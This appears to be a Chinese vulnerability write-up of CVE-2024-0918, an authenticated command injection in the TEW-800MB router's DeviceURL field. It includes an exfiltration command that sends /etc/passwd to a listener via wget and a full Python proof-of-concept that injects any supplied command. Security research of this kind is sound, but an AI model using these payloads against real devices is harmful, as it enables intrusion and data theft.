CVE-2024-0918 TEW-800MB RCE漏洞分析

漏洞描述

固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。。

参考链接

TEW-800MB (notion.site)icon-default.png?t=N7T8https://warp-desk-89d.notion.site/TEW-800MB-1f9576ce12234b72b08b9c7f4c7d32a6?pvs=4

本次我们来分析固件web漏洞

由于也是涉及大量的开发知识,本次分析不可能面面俱到。凭借着开发经验我们无需关注那么多的函数传递的细节,结合关键字 大胆猜测 在进行大量模糊测试验证自己的想法。

漏洞环境搭建

固件下载https://www.trendnet.com/support/support-detail.asp?prod=100_RB-TEW-800MB

仿真环境GitHub - pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

sudo ./run.sh -d TRENDnet ../fw_tew800mb\(v1.0.1.0\)_08012013/FW_TEW800MB\(v1.0.1.0\)_08012013.bin
漏洞分析

此次漏洞接口uapply.cgi

使用binwalk 解压固件的文件系统,先分析下相关前端代码

分析下这个表单 from

<form method="post" name="DeviceNameURL" action="/uapply.cgi" onsubmit="return checkDeviceURL();">
<input type="hidden" name="page" value="/adm/management.asp">
<input type="hidden" name="token" value="<% genToken(); %>">
<div id="box_deviceUrlSettings">
<table width="100%" class="tbl_main">
   <tr>
      <td class="CT" colspan="2"><!--#tr id="mg.17"-->Device URL Settings<!--#endtr--></td>
   </tr>
   <tr>
      <td class="CL"><!--#tr id="mg.18"-->Device URL<!--#endtr--></td>
      <!-- Ricky Cao: Exactly, the length of predefned URL has not be limited in kernel level (bridge code) -->
      <td class="CR"><input type="text" name="DeviceURL" id="DeviceURL" size="32" maxlength="64" value="<% nvram_get("DeviceURL"); %>"></td>
   </tr>
</table>
<table width="100%" class="tbl_main">
   <tr align="center">
      <td>
         <input type="submit" class="button1" value="<!--#tr id="apply"-->Apply<!--#endtr-->" /> &nbsp; &nbsp;
         <input type="reset"  class="button1" value="<!--#tr id="cancel"-->Cancel<!--#endtr-->" onclick="window.location.reload()" />
         <input type="hidden" class="button1" name="action" value="Apply">    
         <input type="hidden" name="DeviceURL" value="setDeviceURL">    
      </td>
   </tr>
</table>
</div>
</form>

这个表单提交给/uapply.cgi

可有属性 page token DeviceURL action=(Apply) DeviceUR=(setDeviceURL)(默认值)

接下里使用ida pro 分析 此次的http服务 httd

搜索相关关键字DeviceURL 分析参数传递后做了怎么的处理。或者搜索system 查看调用的参数是否为我们可控

有echo %s 的执行, 查看伪代码

v48 是v47来的 v47是nvram_get("DeviceURL")来的 。DeviceURL很有可能是我们传递的参数

由此我们可以向其中注入命令

漏洞复现

我们先登录前端管理页面 用户名密码都为admin

之后访问/adm/management.asp页面

看来DeviceURL 就在这里了。 我们打一个http请求,本地监听4444端口

注意js会拦截检测,我们直接把它删掉。点击apply

点击之后我们立马收到了请求

漏洞复现成功,我们可以尝试数据外带wget http://192.168.116.131:4444?$(cat /etc/passwd)

附赠poc


import requests
import base64 
import re

if __name__ == '__main__':
    print('start !!! ')

    target = input("Enter Target IP : ")
    username = input("Enter Username : ")
    password = input("Enter Password : ")
    cmd = input("Enter you want cmd : ")
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
        'Cookie': "expandable=6c",
        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/uapply.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'page': '/adm/management.asp',
        'token': f'{token_value}',
        'DeviceURL': f'tew-800mb`{cmd}`',
        'action': 'Apply',
        'apply_do': 'setDeviceURL',
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)

    print("end !!! ")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/399895.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从宏观到微观——泽攸科技ZEM系列台式扫描电子显微镜在岩石分析中的应用

岩石作为地球地壳的主要构成物质之一&#xff0c;其微观结构对于了解地质过程、资源勘探以及工程建设具有重要意义。按照岩石的成因&#xff0c;可以把它们分为三类&#xff1a;岩浆岩、沉积岩和变质岩。在地球表面&#xff0c;沉积岩占据75%的份额&#xff0c;而在地壳深度&am…

Family Day/园区参观路径(C语言)

题目描述 园区某部门举办了Family Day&#xff0c;邀请员工及其家属参加&#xff1b; 将公司园区视为一个矩形&#xff0c;起始园区设置在左上角&#xff0c;终点园区设置在右下角&#xff1b; 家属参观园区时&#xff0c;只能向右和向下园区前进&#xff0c;求从起始园区到终…

低代码中的工作流:简化开发流程,提升效率

低代码开发平台近年来在软件开发领域引起了广泛的关注和应用。它以提高开发效率、降低开发成本为目标&#xff0c;通过简化开发过程&#xff0c;使非专业开发者也能快速构建高品质的应用程序。其中&#xff0c;工作流引擎作为低代码开发平台的重要组成部分&#xff0c;对于提升…

使用C# Net6连接国产达梦数据库记录

达梦官网&#xff1a;http://www.dameng.com/ 1 下载达梦并进行安装 下载地址&#xff1a;官网首页——服务与合作——下载中心&#xff08;https://www.dameng.com/list_103.html&#xff09; 根据需要自行下载需要的版本&#xff0c;测试版本为&#xff1a;x86 win64 DM8版…

设计师必看!哪个云渲染平台便宜?

渲染100 溜云库 渲云 平均价格 9.27 9.37 9.51 Camera007 5.81 6.1 4.7 Camera008 18.66 17…

【C语言】中的位操作符和移位操作符,原码反码补码以及进制之间的转换

欢迎大家来到c语言知识小课堂&#xff0c;今天的知识点是操作符和进制 目录 一、进制之间的转化1、什么是二进制&#xff0c;八进制&#xff0c;十进制&#xff0c;十六进制2、进制之间的转化其他进制转化为十进制十进制转化为二进制二进制转化为八进制八进制转化为二进制二进…

三维GIS开发的就业前景

一、前言 三维GIS是一个伪概念,GIS是地理信息系统&#xff0c;三维GIS就是三维地理信息系统&#xff0c;在课本上&#xff0c;专业概念上&#xff0c;也没有这一说法吧&#xff0c;所以三维GIS&#xff0c;就是技术人员造概念拼凑造出来的&#xff0c;本质上就是GIS三维可视化…

【学习笔记】数据结构与算法03:栈与队列

知识出处&#xff1a;Hello算法&#xff1a;https://www.hello-algo.com/. 文章目录 2.2 栈和队列2.2.1 「栈 stack」2.2.1.1 栈的常用操作2.2.1.2 栈的典型应用 2.2.2「队列 queue」2.2.2.1 队列的常用操作2.2.2.2 队列的典型应用 2.2.3 双向队列 「double-ended queue」2.2.3…

2024 Impeller:快速了解 Flutter 的渲染引擎的优势

参考原文 &#xff1a;https://tomicriedel.medium.com/understanding-impeller-a-deep-dive-into-flutters-rendering-engine-ba96db0c9614 最近&#xff0c;在 Flutter 2024 路线规划里明确提出了&#xff0c;今年 Flutter Team 将计划删除 iOS 上的 Skia 的支持&#xff0c;…

java异常处理设计

异常的继承体系 java 中的异常的超类是 java.lang.Throwable(后文省略为 Throwable), 他有俩自类Exception和Error&#xff0c;Error是由jvm管理&#xff0c;我们不需要考虑。 RuntimeException是Exception的子类。 检查异常&#xff08;Checked Exceptions&#xff09;&#…

Sparse ICP的使用(一)

一、代码下载以及修改 下载以及建立项目&#xff1a; 链接&#xff1a;palanglois/icpSparse: Implementation of the sparse icp algorithm (github.com) 如果github进不去&#xff0c;我这里下载好了&#xff1a;Sparseicp源码资源-CSDN文库 下载好了之后&#xff0c;会…

【关于python变量类型学习笔记】

python的变量类型 在创建变量时会在内存中开辟一个空间&#xff0c;变量是存储在内存中的值。 根据变量的数据类型&#xff0c;解释器会分配指定内存&#xff0c;并决定什么数据可以被存储在内存中。 变量可以指定不同的数据类型&#xff0c;这些变量可以存储整数&#xff0c;…

Canvas绘制

Canvas绘制 一、介绍效果图 二、画圆1 写一个页面2 画一个圆&#xff08;点&#xff09;3 效果 三 画直线1 写一个页面2 画直线3 效果 四 用直线连接两个点1 写一个页面2 连线3 效果 五 画随机点1 写一个页面2 随机点3 效果 六 画随机点并连线1 写一个页面2 画点连线3 效果 七 …

项目成本和收益管理,用易趋就够了,项目价值可量化

最近看到一个吐槽贴&#xff0c;项目经理小刘说&#xff0c;“去年很多项目都成功交付了&#xff0c;为啥项目奖金还是这么少呢&#xff1f;一问领导是由于项目的绩效没有达成&#xff0c;尤其是很多项目的成本都超支了。”总结来说&#xff0c;这主要是由于没有达成项目预期的…

理论学习-ARM-内核

ARM内核 函数的调用加载、存储计算中断异常线程的切换 为了提高学习效率&#xff0c;我们要提前想好学习策略。 首先&#xff0c;使用频率越高的知识点&#xff0c;越要首先学习。假使&#xff0c;我们学习了一个知识点&#xff0c;能覆盖工作中80%的工作量&#xff0c;那是不是…

MySQL数据库进阶第三篇(MySQL性能优化)

文章目录 一、插入数据优化二、主键优化三、order by优化四、group by优化五、limit优化六、count优化七、update优化&#xff08;避免行锁升级为表锁&#xff09; 这篇博客详细探讨了MySQL数据库的多项优化技巧。包括如何进行数据插入优化&#xff0c;采用批量插入和MySQL的lo…

四非保研之旅

大家好&#xff0c;我是工藤学编程&#xff0c;虽有万分感概&#xff0c;但是话不多说&#xff0c;先直接进入正题&#xff0c;抒情环节最后再说&#xff0c;哈哈哈 写在开头 我的分享是来给大家涨信心的&#xff0c;网上的大佬们都太强了&#xff0c;大家拿我涨涨信心&#…

在linux环境如何使用Anaconda安装指定的python版本

首先我们可以查看一下服务器现有的环境 conda info --envs 发现没有我需要的版本&#xff0c;那么可以用如下命令 conda create --name py36 python3.6 我这里安装了python 3.6的版本 再次输入 conda info --envs 可以通过以下命令激活刚刚创建的环境 conda activate py36…

Docker中如何删除某个镜像

1. 停止使用镜像的容器 首先&#xff0c;您需要停止所有正在使用该镜像的容器。您可以使用 docker stop 命令来停止容器&#xff1a; docker stop 11184993a106如果有多个容器使用该镜像&#xff0c;您需要对每个容器都执行停止命令。您可以通过 docker ps -a | grep core-ba…

C语言------------指针笔试题目深度剖析

1. #include <stdio.h> int main() { int a[5] { 1, 2, 3, 4, 5 }; int *ptr (int *)(&a 1); printf( "%d,%d", *(a 1), *(ptr - 1)); return 0; } 首先要明白这个强制类型转换&#xff0c;即int(*)[5]类型转换成int(*)类型&#xff1b; *&#xff…